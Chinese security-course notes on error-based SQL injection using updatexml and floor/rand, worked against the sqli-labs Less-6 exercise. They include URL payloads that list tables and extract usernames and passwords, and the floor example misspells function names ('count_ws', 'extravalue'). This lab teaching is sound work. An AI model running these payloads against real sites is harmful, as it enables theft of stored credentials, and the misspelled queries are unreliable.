小迪安全笔记-29

第29天:WEB攻防-通用漏洞_SQL注入_增删改查_盲注_延时_布尔_报错

SQL注入

updatexml函数

须记:

查看数据库名,表名:

select group_concat(table_name) from information_schema.tables where table_schema=database())

查看列名:

select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’

查看数据:

select group_concat(username,password) from users

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

一:XML_document是string格式,为XML文档对象的名称,例如Doc

二:XPath_string是路径,XPath格式的字符串

三:new_value,string格式,替换查找到的符合条件的数据

报错原理:

同extravalue(),输入错误的第二个参数,即更改路径的符号

正常句式:

select updatexml(doc,’/book/auther/surname’,’1’) from xml;

错误句式:select updatexml(doc,’~book/auther/surname’,’1’) from xml;

Less-6

day29-1.jpg

根据报错,看到数据库名为 security

?id=1” and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) –+

day29-2.jpg

看到列名,下一步查看数据:

?id=1” and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3) –+

day29-3.jpg

成功查看数据

显示1~30字符:

?id=1” and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,’:’,password),1,30) from users)),3) –+

day29-4.jpg

显示30~59字符,第30个字符为,

?id=1” and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,’:’,password),30,30) from users)),3) –+

day29-5.jpg

floor报错

涉及到的函数:

rand()函数:随机返回0~1间的小数

floor()函数:小数向下取整数。向上取整数ceiling()

concat_ws()函数:将括号内数据用第一个字段连接起来

group by子句:分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组

as:别名

count()函数:汇总统计数量

limit:这里用于显示指定行数

详细

select rand(); 计算结果在0~1之间

select rand()*2; 计算结果在0~2之间

select rand() from users; 根据表users的行数随机显示结果

floor()函数:小数向下取整数

concat_ws()函数:将括号内数据用第一个字段连接起来

例如:select concat_ws(‘~’,(select database()),floor(rand()*2)) from users;

as 别名,group by 分组

select concat_ws(‘~’,(select database()),floor(rand()*2)) as a from users group by a;

count()函数:汇总统计数量

select count(*),count_ws(‘~’,(select database()),floor(rand()*2)) as a from users group by a;

报错原理

select count(*),count_ws(‘~’,(select database()),floor(rand(0)*2)) as a from users group by a;

rand 函数进行分组group by 和统计count()时可能会多次执行,导致键值key重复